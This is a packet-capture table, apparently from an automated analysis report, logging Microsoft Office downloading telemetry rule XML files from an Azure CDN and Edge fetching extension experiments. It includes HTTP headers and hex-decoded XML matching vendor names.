Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:47 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:47 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:47 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: bdd7469a-701e-0053-5fd5-333a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181747Z-174f7845968v79b7hC1EWRu01s00000004wg00000000ggw6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:47 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.7	49772	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:47 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:47 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:47 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: b80249cf-101e-0017-2bd5-3347c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181747Z-174f7845968j6t2phC1EWRcfe800000005cg00000000n2cb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:47 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.7	49775	94.245.104.56	443	7524	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:47 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 18:17:47 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Mon, 11 Nov 2024 18:17:47 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=b65d9106bc81838a23d8a3edd144c8dcf94d11cfa7af5eb97996169fda12e5cf;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=b65d9106bc81838a23d8a3edd144c8dcf94d11cfa7af5eb97996169fda12e5cf;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.7	49778	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:48 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:48 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:48 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 7cd113ea-e01e-0052-21d5-33d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181748Z-174f78459685m244hC1EWRgp2c000000054000000000ezek x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:48 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.7	49786	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:48 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:48 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:48 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: c8358f32-201e-005d-77d5-33afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181748Z-174f7845968vqt9xhC1EWRgten000000059000000000m2dv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:48 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.7	49782	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:48 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:48 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:48 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 554aabf5-b01e-00ab-71d5-33dafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181748Z-174f7845968v79b7hC1EWRu01s00000004zg000000006w3r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:48 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.7	49785	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:48 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:48 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:48 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 77d57460-901e-0083-6dd5-33bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181748Z-174f78459684bddphC1EWRbht4000000052g000000007chh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:48 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.7	49784	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:48 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:48 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:48 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: d9045dfb-101e-00a2-06d5-339f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181748Z-174f7845968ljs8phC1EWRe6en000000052g00000000n0v3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:48 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.7	49791	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:49 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:49 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:49 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 1c14d510-c01e-0079-05d5-33e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181749Z-174f7845968vwdr7hC1EWRsh3w000000057g00000000czb5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:49 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.7	49793	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:49 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:49 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:49 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 65802b10-501e-000a-61d5-330180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181749Z-174f7845968j6t2phC1EWRcfe800000005d000000000h955 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:49 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.7	49795	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:49 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:49 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:49 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 6193c1ec-701e-000d-35d5-336de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181749Z-174f7845968xlwnmhC1EWR0sv8000000053000000000h3g4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:49 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.7	49792	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:49 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:49 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:49 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 4e338e66-401e-0016-6fd5-3353e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181749Z-174f7845968jrjrxhC1EWRmmrs00000005c000000000m6px x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:49 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.7	49788	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:49 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
